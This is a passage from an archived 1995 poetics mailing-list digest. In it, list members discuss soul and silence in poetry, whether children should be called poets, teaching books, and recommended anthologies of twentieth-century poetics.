Wed 12 Jul 1995

"Can we say soul here?", asked Ryan Knighton in one of his poems. It's a good question because it makes people effulgent, or they cringe. Some people can, and some people can't, talk about it without blushing, or making apologies for saying it. Isn't the soul one of the organs of experience itself, like the intellect

and the body? There are (at least) five senses belonging to the body, all of which are wired simultaneously to intellect and soul, which are wired to each other, and the whole damn system hums and the humming is poetry.

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226. Shaunanne Tangney
Re: call for help!
Wed 12 Jul 1995

Hello, all--

As many of you know from my posts, I am studying for my comps right now, and as many of you also know from a very recent post, I am currently reading MHAbrams _The Mirror and the Lamp_ (almost done!). While I certainly cannot accept TMATL as a manifesto--and indeed don't think it was intended to be--it is a great little book in that is concisely and coherently brings together ALL of 19th C. poetics. My question: Do any of you out there know of a book that does this for 20th C. poetics? I find myself making suibstantial marginalia "cf pomo", but it would be so nice if I had a "source book" of the 20th C. to quickly refer to!

Thanks in advance,
ShaunAnne
[redacted] -- if you want to reply to me personally

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227. Willa Jarnagin
Re: Lorine says it all (ha)
Wed 12 Jul 1995

On Wed, 12 Jul 1995, Judy Schwartz wrote:

> *This is a reply to Steve Carll's posting of July 11 (on silence). I'm new to this list and a bit shy so I thought I'd just offer a quote from Lorine Niedecker on the subject: "Nobody, nothing/ever gave me/greater thing/than time/unless light/and silence/which if intense/makes sound"*
> *--Judy Schwartz*

Yes! Leave it to Lorine. I think this woman INVENTED the space between words.

But which better expresses her silence: reading the poem aloud so as to 'hear' the silences, defined by the sounds of the words; or to not read the poem aloud at all?

Admittedly her poems are musical and thus demand to be spoken; but on the other hand, when I read poems I 'hear' the voice in my head, perfectly.

What is silence anyway? Is it merely lack of sound?

--Willa

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228. **Carl Lynden Peters**
Re: where it comes from
Wed 12 Jul 1995

> *"Can we say soul here?", asked Ryan Knighton in one of his poems.*
> *It's a good question because it makes people effulgent, or they cringe. Some people can, and some people can't, talk about it without blushing, or making apologies for saying it.*
> *Isn't the soul one of the organs of experience itself, like the intellect and the body? There are (at least) five senses belonging to the body, all of which are wired simultaneously to intellect and soul, which are wired to each other, and the whole damn system hums and the humming is poetry.*

--intellect of the brain/ --intellect of the soul

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229. **Carl Lynden Peters**
Re: flaming children
Wed 12 Jul 1995

> *another question i've been wanting to put to listers for a while now: what wd happen if we took seriously robert duncan't dictum that "there is no good or bad poetry"?--md*

maria, your question brought to mind earlier comments on duchamp and chance a while back. duchamp said something similar re good art and bad art: it's still art. in regrads to duncan, i love what he says abt seeing himself as a derivative poet, abt writing and adding to the tradition. one long, long poem.

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230. **Gabrielle Welford**
Re: flaming children
Wed 12 Jul 1995

Funny that on three lists I'm on at the moment there are or have recently been discussions of what happens to children in this society. Is the universe trying to send us a message?

Gabrielle

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231. **Gabrielle Welford**
Re: child poets
Wed 12 Jul 1995

On Wed, 12 Jul 1995, Jorge Guitart wrote:

> anyone who has taught poetry in the schools know that those children who are
> naturally untrite come up with stupendous things.
>
Yesyesyesyesyesyes

Gabrielle

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232. **Chris Stroffolino**
Re: flaming children
Wed 12 Jul 1995

---

dear md---what would happen if took seriously duncan's dictim may be actually what happens now, depending on who the "we" is (no doubt) --that people would read poetry that moves them and poetry that doesn't, that they wouldn't know what moves them until they read it, and perhaps all poetry (even if we take the widest possible sense of it) moves one--but to disgust sometimes. And if a poem moves one to disgust, need we call it bad--not necessarily if it's what one needs-- and so all these notions of "interpretive communities" does not work for a lot of people. Perhaps no two are alike--for, in the abstract, we may all "marry" "high culture" and "low culture" in various, conflicting ways--yet, even if we all decided to call ourselves "populists" there'd no doubt be disagreements about the virtues of WHICH "low art" we find ourselves more drawn to--and most likely disagree with ourselves-- "Why did I like THAT in 1987?" etc. And, it's only if we inflexibly and dogmatically claim a certain definite zone, draw a certain line in the sand (and I'm not saying that I don't find myself doing that provisionally for "academic career reasons" and a "research project" that I sometimes believe actually fulfills a "real need"--Or should I say "feel" instead of "believe"), that terms like "good" and "bad" matter. I am a GOOD person. I am married to a GOOD person but a have a BAD job. Rejecting the terms "good" and "bad" (if not "evil") may be something aspires to, and may be the the "ideal condition" good and bad lurk behind, playing dead. But when you are drowning in the

ocean a shark is definitely "bad" and a liferaft "good" (unless, of course....)
Chris

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233. Tony Green
Re: doing the one-two writing/teaching
Wed 12 Jul 1995

Abby Coykendall <[redacted]>
Subject: doing the one-two writing/teaching

"[and I would add: the word "soul" is a dangerous way to step in precisely where the relations of sender/addressee, me/I, spirit/text are beyond a controllable play of recognition, that in fact to designate them as such, is to suture what is essentially problematic & conflictual about these relations, and to likewise suture the "drive to writing" itself]"

No soul allowed? Oh dear, bang goes Descartes for a start. The word is terrifying in 1990's?

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234. Tony Green
Re: number three
Wed 12 Jul 1995

I like the thought of teaching a book not yet read...it's fun to teach a course you haven't taught for fifteen years...not to think what to say until you are actually with the students...to get them to look up facts you've forgotten...to get them to solve one another's problems in class with lots of discussion...

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235. Halvard Johnson
Child poets
Wed 12 Jul 1995

On Wed, 12 Jul 1995, Jorge Guitart wrote:

> anyone who has taught poetry in the schools know that those children who are
> naturally untrite come up with stupendous things.
>
And isn't the fact that it's all so natural one of the reasons we
don't value such things very much? They've got to grow up, go to school and

have all that natural ability pounded out of them and then earn it back inch by inch. That's when appreciation of their efforts really begins.

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236. Steve Carll
Re: what the deaf hear in their heads
Wed 12 Jul 1995

Jorge wrote:

>suppose you ask deaf people if they "hear" something in their minds and they
>say yes. how do you know that what they call hearing is what you call hearing.
>wondering if deaf people "hear", isn't it like like wondering if what you
call r
>ed is seen by other people as what you
>call green? it is one of those things.

good point. So how do I know if you and I are talking about the same thing when we're using the word "hearing"? At what point can we make the epistemological "call" and assume we're communicating?

> *is there a foreign language of which you have only a reading knowledge? what happens to you when you read poetry in that language? do you hear an inner voice reading with some kind of accent or what?*

The inner voice, partly recognizable as my own and partly other (I've never been quite able to put my finger on it), is speaking a language more musical than linguistic (although that aspect is there too); no matter what language I read in, every text has its own unique "accent".

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237. Steve Carll
Re: where it comes from
Wed 12 Jul 1995

Reginald Johanson writes:

> *"Can we say soul here?", asked Ryan Knighton in one of his poems.*
> *It's a good question because it makes people effulgent, or they cringe. Some people can, and some people can't, talk about it without blushing, or making apologies for saying it.*
> *Isn't the soul one of the organs of experience itself, like the intellect and the body? There are (at least) five senses belonging to the body, all of which are wired simultaneously to intellect and soul, which are wired to each other, and the whole damn system hums and the humming is poetry.*

Hear hear! Many people have an acquired aversion to talking about soul and spirit because organized religions hijacked the words and have been abusing them for centuries. And religion's replacements, science and money, don't want anything to do with such notions because discussion along spiritual lines points up the poverty of science and money with regard to the soul.

Steve

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238. **Steve Carll**
The rest is silence...
Wed 12 Jul 1995

> *What is silence anyway? Is it merely lack of sound?*
>
> *--Willa*

Much more. Silence is the source of sound. Sound arises from silence. It is the mysterious voice of silence which first calls us to speak.

Steve

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239. **Tony Green**
Re: what the deaf hear in their heads
Thu 13 Jul 1995

---

interesting for one who has been in Italy several times for short visits & who speaks Italian only haltingly to read aloud, as I did this morning from a 17th century Italian text and all I got was a kind of movie English-with-Italian accent, like a movie version of Italian-speakers of English as in mafioso talk or memories of the flat tones of Italian TV newsreaders, knowing I could not possibly sound authentic, nevertheless the syllables of the words going together are so compelling when you know, kind of, what they are saying that something seems to happen that is striking to hear...or so I hope... what does happen if you've never heard the language spoken is what you do with Latin (public school English accent maybe)?

↑ Index

240. **Rod Smith**
Re: call for help!
Thu 13 Jul 1995

Shaunanne posted looking for a sourcebook of 20th century poetics.

There should be such a book, or attempt at one, but I don't think there is. I'd be interested to hear from folks on the list re what should be in such a book. Or even what it might begin with-- Dickinson letters? Rimbaud letters? (not 20th c. but...) Pounds "A Retrospect"?

The Donald Allen & Warren Tallman book _The Poetics of the New American Poetry_ (which is not available though Grove reannounced it few years ago they never put it back out)
is a good collection though of course not up to date. Published in 1973 it includes only 3 women-- Lenore Kandel, Levertov, & Stein. It begins with Whitman (to Emerson), then Fenollosa, then Pound. Less historical breadth but worth mentioning-- Waldman's _Disembodied Poetics_ , _The
L=A=N=G=U=A=G=E
Book_, there's something called _Conversant Essays_ Wayne State put out a couple years ago, ranges across the
current field pretty well, tho I don't think
ethnopoetics or nuyoricans get a hearing, but
"confessionals" & new formalists (not a
very good term huh) alongside Sir Silliman
(one of his best essays I think-- "'Postmodernism':
Sign for a Struggle, Struggle for a Sign"),
I believe Bernstein, Retallack, et al.
Anthologies of poetics anyone?
--Rod
The Allen/Tallman book also of note for
inclusion of materials from Spicer's Vancouver
lectures.

↑ Index

241. George Bowering

Re: child poets

Thu 13 Jul 1995

Yes, kids come up with wonderful combinations of words.

Let's not screw them up by exclaiming that they are poets!

↑ Index

242. George Bowering
Re: Lorine says it all (ha)
Thu 13 Jul 1995

I will admit that Niedecker is very good at the silences (which are really reverberating with the tune of the words) between words. But have another good listen to Mina Loy!

↑ Index

243. George Bowering
Re: doing the one-two writing/teaching
Thu 13 Jul 1995

Thinking more about the business of deciding to teach a book one has not read much, I remember that when I was a graduate student and a bunch of topics were suggested, I would always take the one I knew least about. It made for learning instead of whatever we do with our favourite things. Simil;ar process when teaching a book: you have to learn something, and who wants to keep on teaching what he knows?

↑ Index

244. M. Magoolaghan
Re: call for help!
Thu 13 Jul 1995

> *Shaunanne posted looking for a sourcebook of 20th century poetics.*
>
> *There should be such a book, or attempt at one, but I don't think there is.*

Gary Geddes edited an anthology called _20th Century Poetry & Poetics_ which was published by Oxford University Press (Canadian Division) in 1973. It has a large selection of essays on poetics by poets as diverse as Auden, Pound, Stevens, Williams, Yeats, Creeley, Al Purdy, Robert Graves, Olson, Syvia Plath and Gary Snyder.

Hope that helps.

MM
^^^

Michael Magoolaghan ! Box 354330
University of Washington ! Seattle, WA 98l95-4330
Dept. of English ! [redacted]

~~~
~~~

leave it to say, it takes no genius to figure out that everyone is always talking far too loudly and writing non-stop, only some like to package, and pass this on as "genuis" whereas others just keep mouthing on, in their own way

(cf. any of the talk shows which best get your gun, or to be less oral-biased, the massive amount of "first-novels" from which I can make money editing)

and by the by, isn't e-space the ideal vent for all these vast verbal highways, as a very convienent by-way from the world in its so sublime splitting?

yet what happens in this particular split, and perhaps all of them, is something uniquely political,
and as such, e-space is the true seat of the "new" politics,
one that may both sit on its ass, or
get quite a many asses moving

with love,
abby c

[Note: if this post seems somehow onanistic, as not addressing any that may have addressed my last, please forgive one who spends her nights as days and thereby has failed to recieve the poetics digest in any true timely fashion, having only heard vicariously of there being a "discussion" going on about something like this and having wanted to carry on in a more clear fashion than in my last]

↑ Index

246. cris cheek
Re: doing the one-two writing/teaching
Thu 13 Jul 1995

Which book that has yet to be written would you teach

what would it do

and why?

love
cris

↑ Index

247. Jorge Guitart
20th c poetics
Thu 13 Jul 1995

Shaunanne T: i think that a must read for 20th c poetics ***in the U.S.*** is Marjorie Perloff's The Dance of the Intellect.

↑ Index

248. David Kellogg
Re: child poets
Thu 13 Jul 1995

On Wed, 12 Jul 1995, George Bowering wrote:

> *Yes, kids come up with wonderful combinations of words.*
> *Let's not screw them up by exclaiming that they are poets!*

I have no children, but a friend of mine used to play a metaphor game with his son, who is slightly autistic. He explained the concept of comparison, and how many ordinary designations have metaphorical roots (e.g., hands of a clock -- cf., of course, Nietzsche). The boy would make up all sorts of wonderful and 'ridiculous' metaphors for objects, people, faces, events.

One day he looked at some stone steps that were covered in glittering moonlit ice (they lived in Alaska and there had apparently been a thaw followed by a freeze), pointed, and said "flight of stairs." My friend had NO idea if he had heard this expression before, but he's now convinced himself that "Flight of stairs" originated in such a moment.

He later noted that his son's ability to create novel metaphor began to disappear the day he entered school.

Cheers,
David
~~~
~~~

praise leads to neurosis?

what, don't tell a kid who excels in school sports that he is an athlete because s/he might believe it?

↑ Index

250. Jordan Davis.
Re: child poets
Thu 13 Jul 1995

G Bowering wrote:

> *Yes, kids come up with wonderful combinations of words.*
>
> *Let's not screw them up by exclaiming that they are poets!*

Likewise, I'm sure. Or, I'm not sure who it'll "screw" up. Do you feel screwed up by exclaiming you're a poet?

I think I see the problem. You think that identity (as a grown-up) is a one to one relation, and that it's conferred from outside, by praise. If someone says "I like that poem" to a child (what's with the word "kid" anyway?) that mark of respect will turn them into a poet. And they'll be stuck like the rest of us. I suspect identity is a little more flexible. A child who can think of herself as a giant clam or as some snow, "a stretched cat on a wide branch," may think of herself for a few seconds as a poet, or as a violinist writing poetry, or as tough, or shy, or as not worth listening to.

Maybe that isn't the problem. Maybe you're W.C. Fields. That's fine. But I think you're recapitulating what Charles Alexander posted about--the need to exclude certain kinds of poetic production from the domain of poetry. Which, as he rightly suggested, is the wrong thing to do. If, instead, you want to talk about quality, I'll read all your posts.

Respectfully
Jordan

↑ Index

251. Steven Howard Shoemaker
filtered and unfiltered
Thu 13 Jul 1995

The sea anemone dreamed of something, filtering the sea
water thru its body,

Nothing more real than boredom--dreamlessness, the
experience of time, never felt by the new arrival,
never at the doors, the thresholds, it is the native

Native in native time...

The purity of the materials, not theology, but to present
the circumstances

--George Oppen

↑ Index

252. **Rod Smith**
Re: 20th c poetics
Thu 13 Jul 1995

Jorge Guitart wrote
> i think that a must read for 20th c poetics ***in the U.S.*** >is
Marjorie Perloff's The Dance of the Intellect.

yes, it is very useful, & is being reissued next year by Northwestern.

--Rod "bookstore guy" Smith

↑ Index

253. **Rod Smith**
Re: filtered and unfiltered
Thu 13 Jul 1995

& also

"The self is no mystery, the mystery is/ That there is something for us to stand on."

Oppen, "World, World--"

Which seems in some ways exact.
It's art when it makes you remember this fact.
--Rod Smith

↑ Index

254. **Jim Pangborn**
Correction RE: where it comes from
Thu 13 Jul 1995

Oops-- Some days ago I posted a diagram purporting to illustrate a thing that can and does go wrong in the relating of where "it" comes from, but I

attributed the schema, via wild guess, to the wrong guy. Not Macherey's style to posit a structure so undialectical; it really comes from Jurij Lotman as construed (and no doubt skewed) by me. It came to me that night in bed beside my fishing and camping catalogs, my _Roadside Geology of New York_, and my Proust and H James with their looping, soporific (in the good sense) sentences; but, because I've been singlehandedly looking after one 4-yr-old nephew (who may or may not be properly labeled a poet but certainly makes a crack amateur ethicist), I haven't found time to post this correction until now. As I say, it was meant to schematize something that happens, not to explain the whole writing situation. Ron Silliman zeroes in on an important problem with it--that it looks cooked-up as job security for professional explainers--but, fortunately or not, that's not a refutation. I'd love to see it redesigned according to Tony Green's specs, but wouldn't it take an Escher or a Magritte to draw that out? Ceci n'est pas un conceptual schema? One can only hope. . . .

12 Jul 1995 16:58:57 GMT+1300 Tony Green <[redacted]>
writes:
>
>Macherey diagram needs redoing author is also displaced and also
>projects an "idealised" audience in writing author is wildly
>displaced in my view i.e. is a figure projected by the actual
>scribe so summing up diagram needs 1.writer who projects
>both a writer and a reader 2. a reader who projects both "a
>reader"
>and "a writer" note, in mid-Don Quixote how can anyone
>believe the "I" of the text == the author named on the cover and
>when the reader says of herself" "I" read this " who is the reader?
>better to take both parties, reader and writer as fictions
>constructed in the writing/reading CONFUSED ? yes, I guess, and
>yes I HOPE SO
>

↑ Index

255. Jim Pangborn
philtres
Thu 13 Jul 1995

Q: If the War-hole and the Art-haud are dirty and the Cage is clean,
then what
is a rhetorical question?

--Jim

↑ Index

256. George Bowering
Re: philtres
Thu 13 Jul 1995

ARTHUR RIMBAUD
ARTHU IMBAUD
ARTH MBAUD
ART BAUD
ART AUD
ART AUD
ART AUD
ART AUD
ART AUD
ART AUD
*

*AHA!

↑ Index

257. George Bowering
Re: child poets
Thu 13 Jul 1995

That's it exactly. Identity is what other people give you. It is what you carry in your wallet. It is on your driver's licence, etc.

Self is something else entirely. First you have self. Then someone says "You're my kid." That's identity. Read Stein on the subject. Read _Ada_.

↑ Index

258. George Bowering
Re: child poets
Thu 13 Jul 1995

Jorge:

trouble with your retort is that you seem to be saying that telling someone he/she is a poet equals praise.

↑ Index

259. Jordan Davis.
Okay teach
Thu 13 Jul 1995

George Bowering wrote:

That's it exactly. Identity is what other people give you. It is what you carry in your wallet. It is on your driver's licence, etc.

Self is something else entirely. First you have self. Then someone says "You're my kid." That's identity. Read Stein on the subject. Read _Ada_.

Okay teach.
Jordan

↑ Index

260. **Tony Green**
Re: doing the one-two writing/teaching
Thu 13 Jul 1995

---

correct, Ed, I don't teach the book, the book teaches me

↑ Index

261. **Edward Foster**
Re: doing the one-two writing/teaching
Thu 13 Jul 1995

---

you don't teach books, chris, you teach yourself.

↑ Index

262. **Carl Lynden Peters**
Re: doing the one-two writing/teaching
Thu 13 Jul 1995

>
> you don't teach books, chris, you teach yourself.
>
--i appreciate this post! i've often felt that when you're passionate abt
your subject something else, something more, gets across... comes thru

↑ Index

263. **Rod Smith**
Re: philtres
Thu 13 Jul 1995

Jim Pangborn wrote:
>Q: If the War-hole and the Art-haud are dirty and the Cage is clean, then what
>is a rhetorical question?

A: "That's what I love about philosophy, no one wins."

↑ Index

264. Lindz Williamson
Re: child poets
Fri 14 Jul 1995

A friend and I have been discussing this topic of child poets as well. We came up with the conclusion that the child has no concept of being a poet or an "artist", that is something we label them with and place on their heads. I think the pure fact that they are unaware of themselves as "being" anything but a child expresses the purity of their actions. I agree with George that the "self" is a learned state of being, but I don't think we can discard the creative efforts of children as merely pretty pictures and charming rhymes. There is a sophistication in the lack of trained technical expression. The child may begin without direction but experimenting within a medium eventually leads to a theory and a goal. Children develop their own patterns and aesthetic values which is why they have favorite stories and teddy bears, etc . Have you ever watched kids finger painting? They do have an idea of what they are trying to produce, but they haven't learned the skill to translate the visions within their heads to the paper in a form that can be interpreted by others. Poetry may be slightly different as children are bombarded by language while still in the womb, while visual concepts develop later, sound is always present. Who's to say that that alone is not the beginning of a poetic license

Lindz

↑ Index

265. Steve Carll
Re: child poets
Fri 14 Jul 1995

Jorge Guitart wrote:
>George Bowering wrote
>< Yes, kids come up with wonderful combinations of words.
>< Let's not screw them up by exclaiming that they are poets"
>
>say what?
>
>praise leads to neurosis?
>
>what, don't tell a kid who excels in school sports that he is an athlete
>because s/he might believe it?

I think George wasn't objecting so much to the praising of children (in fact he gave some in the first line), but rather, under the guise of praise, to impose a label that the kid is then supposed to adopt as an identity and live up to. This can and does lead to neurosis, even in us adults. I know I don't want to "be a poet", I just want to write. But I didn't aways feel this way, and I used to be quite a nervous child until I decided it was OK just to want to be, without predicating that being on something else. Not that I've succeeded in that task, mind you...

Steve

↑ Index

266. **Ryan Knighton**
Re: child poets
Fri 14 Jul 1995

I'm back from the road with my two-bits. I agree with George: children aare children. The attraction to childhood as an artistic state bewilders me. It seems, among other reasons, that it's the lack of control and discipline we, as adults, admire and want to defend. Picasso sd something to the effect that it took him a lifetime to learn how to paint like a child. Or, unlearn, I guess. The process contradicts its destination. It is still painting _like_ a child, out of a definition of "children's painting". I find this issue alive in aleatoric comp., as well as in Pablo's pictures. My drawings and storys, as a pre-tad, didn't have this struggle. I guess my point is that trying to develop a means to a child's perceptions is more the issue than children's perceptions.

(my god, British Columnbia is big. Even as an adult.)

↑ Index

267. **Ryan Knighton**
Re: child poets
Fri 14 Jul 1995

---

children are childish. Unadulterated.

↑ Index

268. **Ryan Knighton**
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

I'm not sure if this is what started this subject, or if it has already been a part of it, but what does it mean to teach a book? As an undergrad, oh so many months back, a book arrived in class, occurred, became books, and we spent the rest of

the semester, as a group of individuals, trying to become a class with a book. The book that arrived was not the one that left, usually. Sometimes two or three or more left. Profs who played show and tell offered. Those who engaged in the above process taught. They recognized it as agonistic.

↑ Index

269. **Rod Smith**
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

It's interesting this message arrives as I'm flipping
through various anthologies etc. feeling I have to call very
soon with my decision abt what books to assign for a
workshop I'll be teaching.

But isn't it a matter of how the book is used? I mean is
it possible, really, to approach teaching a book with
the understanding that it will be a different book for each
person? It may be hopeless. Yet a book can offer a basis, a context from
which to proceed. Cage left college after a
few years because he didn't understand why everyone
should read the same book. Certainly that was the
right decision for him. Maybe I'll assign Silence,
but whether to make them pay $16.95 for it. . .

--Rod Smith

Ryan Knighton wrote:

I'm not sure if this is what started this subject, or if it has already been a part of it, but what does it mean to teach a book? As an undergrad, oh so many months back, a book arrived in class, occurred, became books, and we spent the rest of the semester, as a group of individuals, trying to become a class with a book. The book that arrived was not the one that left, usually. Sometimes two or three or more left. Profs who played show and tell offered. Those who engaged in the above process taught. They recognized it as agonistic.

↑ Index

270. **cris cheek**
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

I like the emphasis that Ed gives - you don't teach a book you teach yourself

Arguably the processes of engagement with producing of a book are themselves forms of teaching the book though?

So, I'd ask the question again - which books that have YET to be written would you teach?

I was hoping that responses might reveal hopes and ambitions for both poetry and the book and therefore inevitably some optimism for 'yourselve[s]' and some marker space-cadet projects to fuel discussion - maybe action.

love and love
cris

↑ Index

271. Burt Kimmelman
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

Here's a twist on the subject: Should students be required to compose poetry in a poetry course (I don't mean in a poetry-writing course)?

↑ Index

272. Michael Boughn
Re: 20th c poetics
Fri 14 Jul 1995

Another interesting book on modern poetics (or at least poetic form, the concrete manifestation of poetics) is Donald Wesling's *The New Poetries*. Interestingly, he treats the whole run since 1798 (*Lyrical Ballads*) as of a piece, rather than proposing differences organized around "centuries".

Mike
[redacted]

↑ Index

273. Willa Jarnagin
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

On Fri, 14 Jul 1995, Burt Kimmelman [redacted] wrote:

> *Here's a twist on the subject: Should students be required to compose poetry in a poetry course (I don't mean in a poetry-writing course)?*

Maybe not REQUIRED, but I think students should be encouraged to write in any poetry class. Trying to write the stuff may make poetry more alive for them.

It'll make them more interested and maybe more interestING too. Also, you never know, there might be a beaten-down discouraged kid in the class for whom a nudge to write poetry would open a world. (When I say "kid" I don't mean "child" in relation to the other argument going around.) (Or do I?)

Willa

↑ Index

274. Jordan Davis.

Jeff Morley

Fri 14 Jul 1995

Ryan Knighton wrote:
They recognized it
as agonistic.

George, Ryan, I'm sorry if anybody hurt you by praising you.

For an Apted-like review of the lives of the children Kenneth Koch praised like crazy in _Wishes, Lies & Dreams_, see Jeff Morley's article in Teachers & Writers Magazine (collected in _Educating the Imagination, Vol. 1_, ed. by Christopher Edgar & Ron Padgett--available from Teachers & Writers Collaborative, 5 Union Square West, NY NY 10003-3306, or, [redacted]--many other books edited by Padgett are available). And, George, you'll be happy to know that he feels that the praise Koch gave him was bewildering, and that he gave up writing poems soon after. And _I'll_ be happy to tell you that Morley grew up to be an editor at the Washington Post, and a reporter and essayist whose work has been in the Village Voice, The Nation.

Here, by the way, is his poem:

THE DAWN OF ME

I was born nowhere
And I live in a tree
I never leave my tree
It is very crowded
I am stacked up right against a bird
But I won't leave my tree
Everything is dark
No light!
I hear the bird sing
I wish I could sing
My eyes, they open
And all around my house
The Sea

Slowly I get down in the water
The cool blue water
Oh and the space
I laugh swim and cry for joy
This is my home
  For Ever

--Jeff Morley, Fifth Grade, P.S. 61

--poetry is praise--
Jordan

↑ Index

275. Jordan Davis.
writing/I ching
Fri 14 Jul 1995

---

you don't (only) teach yourself you teach other people

don't you only teach yourself other people teach you

people don't you only yourself teach other you teach

teach teach people don't you you only other yourself

yourself you teach other people you only don't teach

(okay teach)

↑ Index

276. Charles Alexander
Re: child poets
Fri 14 Jul 1995

Yes for poets, writers, or artists, disregarding age. We had to fill out a grant application at Minn. Center for Book Arts, and one question had to do with number of artists participating in our projects. One of our exhibitions this year is a children's book art exhibition, and one staff members wanted to exclude the children from being counted as artists. I think that is NOT a good idea.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

277. Jorge Guitart
child poets
Fri 14 Jul 1995

I am with Charles Alexander that it is NOT a good idea not to count children as artists.

What can we do to combat grownupism* (both individual and institutional)?
---
*the irrational belief that children are intellectually & emotionally inferior to grownups.

---0---

Some children are good poets and some are not. But I include the good & the bad in the anthology I make up at the end of each workshop (this is every year, in an urban public school where many of the students are classified as "at risk").

I have noticed that grownup anthologies do not exclude the bad either (& some of the bad poets were never "at risk").

Jorge Guitart
Member, Writers in Education, Just Buffalo Literary Center
Member, Alternative Literary Programs in the Schools

↑ Index

278. Jorge Guitart
sound symbolism
Fri 14 Jul 1995

Anybody out there interested in the translatability of sound symbolism?

1.el murmullo de abejas innumerables works in Spanish as well as the murmuring of innumerable bees does in English but what do you have to do if you are translating into a language that shares nothing with yours?

2. Here is a different (and perhaps more interesting) issue: If every poem is a bundle of symbols (and indices and icons) on the phonological plane, how much of this bundle appears in a "normal" translation, one that is not aiming consciously at preserving sound?

[noP;o+s%q R?FG6"zf74Sa]Eo[;zM'<iyAnd do you get a lot of that blundle if you are aiming consciously, as in what Zukofsky did with Catullus?)

↑ Index

279. Steven Howard Shoemaker
writing/teaching
Fri 14 Jul 1995

Funny how there is now room on this list for passionate talk about teaching, in a way there didn't seem to be back during the academic/non-academic turf wars of a few months ago. Or i guess maybe passionate *and* un-defensive is what i mean.

I like it.

↑ Index

280. maria damon
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Here's a twist on the subject: Should students be required to compose
> poetry in a poetry course (I don't mean in a poetry-writing course)?

i don't know about "should," but i often ask, at the beginning of a class, that students write quickly, for example, a "frank o'hara" poem. they usually like that. o'hara's perfect, of course, because he did compose off-the-cuff, but i've tried it w/ others as well, and often, for undergrads, i ask them to keep a reading journal in which they are required, sometimes, to imitate the author being studied. i was surprised at, for example, how well this worked with lyn hejinian's my life. students who thought the work cryptic suddenly fell in love with it and with themselves writing and remembering.

↑ Index

281. Carl Lynden Peters
Re: doing the one-two writing/teaching
Fri 14 Jul 1995

>
> Here's a twist on the subject: Should students be required to compose
> poetry in a poetry course (I don't mean in a poetry-writing course)?
>
--yes, and it should go without saying. i don't think you can teach art
if you can't make art

↑ Index

282. Carl Lynden Peters
Re: child poets
Fri 14 Jul 1995

you learn so much tho from children who follow their bliss. jouissance! follow your bliss

↑ Index

283. Gabrielle Welford
Re: number three
Fri 14 Jul 1995

On Thu, 13 Jul 1995, Tony Green wrote:

> I like the thought of teaching a book not yet read...it's fun to
> teach a course you haven't taught for fifteen years...not to think
> what to say until you are actually with the students...to get them to
> look up facts you've forgotten...to get them to solve one another's
> problems in class with lots of discussion...
>
This is wonderful. I'm definitely going to leave a book unread in the fall. I do usually leave what I'm going to say unthought until I'm right there. This surprises my students and leaves room for lots of confusion and enthusiasm from every quarter.

Gabrielle

↑ Index

284. I.LIGHTMAN
Re: 20th c poetics
Fri 14 Jul 1995

I really agree with Jorge about Marjorie Perloff's Dance of the Intellect - more so than many offered so far, it is clear, friendly to the beginner, plays a nice Socratic game of identifying the beginner's likely loyalties and hostilities and dancing them, as Leonard Cohen says, to the end of love,

Ira Lightman

↑ Index

285. **I.LIGHTMAN**
Re: child poets
Fri 14 Jul 1995

Also George, isn't it a bit like school, the way it, as has been said, rewards the creativity surviving at fifteen that has been crushed up till then, to greet a list lurker's love for Lorine Neidecker with a "hey, if only you read someone Neidecker reminds me of, not stylistically but because she's another female, Mina Loy, then I could talk about what I like and stop having to engage with what you like at all"...?

Ira

↑ Index

286. **I.LIGHTMAN**
20th century poetics and child poetry
Fri 14 Jul 1995

Just to connect some themes:

Does anyone else feel there's an interesting use of child-like language, also beginner's guide to grammar type language, in modern poets like Robert Grenier (in Sentences) or Lyn Hejinian (in My Life) or Carla Harryman (especially in In The Mode Of), or Leslie Scalapino's early work with its feel of lullaby and nonsense poetry quote unquote, or Bruce Andrews' Wobbling, or Bernadette Mayer's Studying Hunger; can this be just put down to the spirit of play, or camp? It seems to me to be a vital distinction between some Language Writing and, on the one hand, fifties and sixties Concrete Poetry, on the other hand, the always urbane Ashbery? That there is a kind of defiant, politicised, fascinating use of child-like language, that only a forceful radical group could do, to make potentially hostile readers frightened of it, so that it doesn't just get dismissed as childish? Don't children also get dismissed as childish when they want to include something normally excluded? Isn't Carla Harryman's work in particular interested in using Language Writing "idiom" (or labelling or identification of her as a Language Writer) to open up this very area of children not having the power to make people frightened, as the Language Writers could? Isn't Harryman locating childlikeness and play as not merely jouissance and pleasure, but in fact a mode of intuitive purer vulnerabe being unjustly brutalised? So that Language Writing becomes figured as not a departure from, reaction to, but a return to, a reclaiming from?

Just some questions...

Ira

↑ Index

287. **maria damon**
Re: child poets
Fri 14 Jul 1995

In message <[redacted]> UB Poetics discussion group writes:
> Yes for poets, writers, or artists, disregarding age. We had to fill out a
> grant application at Minn. Center for Book Arts, and one question had to do
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> exhibitions this year is a children's book art exhibition, and one staff
> members wanted to exclude the children from being counted as artists. I
> think that is NOT a good idea.
>
> charles
>
> charles alexander
> chax press
> minnesota center for book arts
> phone & fax: [redacted]
> e-mail: [redacted]

i agree w/ charles and with others who think it's okay for kids to be considered paraticipants in creative activity, whether you want to label them as "poets" or not --i think that latter consideration is contextual --there are times when it's important, as in charles's example, to be advocates for children as artists, and then it's also at other times important to avoid labels that create anxiety about performance and adult expectations of kids. charles, your post reminds me of something i heard on the radio, about a nine-year-old girl who had invented a board game, or something like that, that threatened a major corporation because (i may be getting the details wrong) she used one of their advertizing slogans. or maybe it was the other way around, they cribbed for one of their slogans a phrase that came from a board game she'd invented and marketed. anyway, the fascinating and salient thing about their argument, which became a lawsuit, was that the corporation argued that because of her age she was too young to have a right to claim intellectual property. or whatever--her age became the disqualifying criterion. this seems to me to be a clear example of discrimination against creative children as children -- a form of discrimination i believe most people on this list find objectionable --not to hegemonize or colonize the nature of the list's participants --i guess i mean i hope most people on the list would recognize this as blatant discrimination.

↑ Index

288. **Gabrielle Welford**

French Nuclear testing petition (fwd)

Fri 14 Jul 1995

In Gaelic, a forbidden chain letter, from the flings of the flights of the earth, and a serious matter. Gab.

A Chairde, < Dear Sirs,
<
<
Seo litir slabhrach ag iarraidh ar < This is a chain letter to urge the
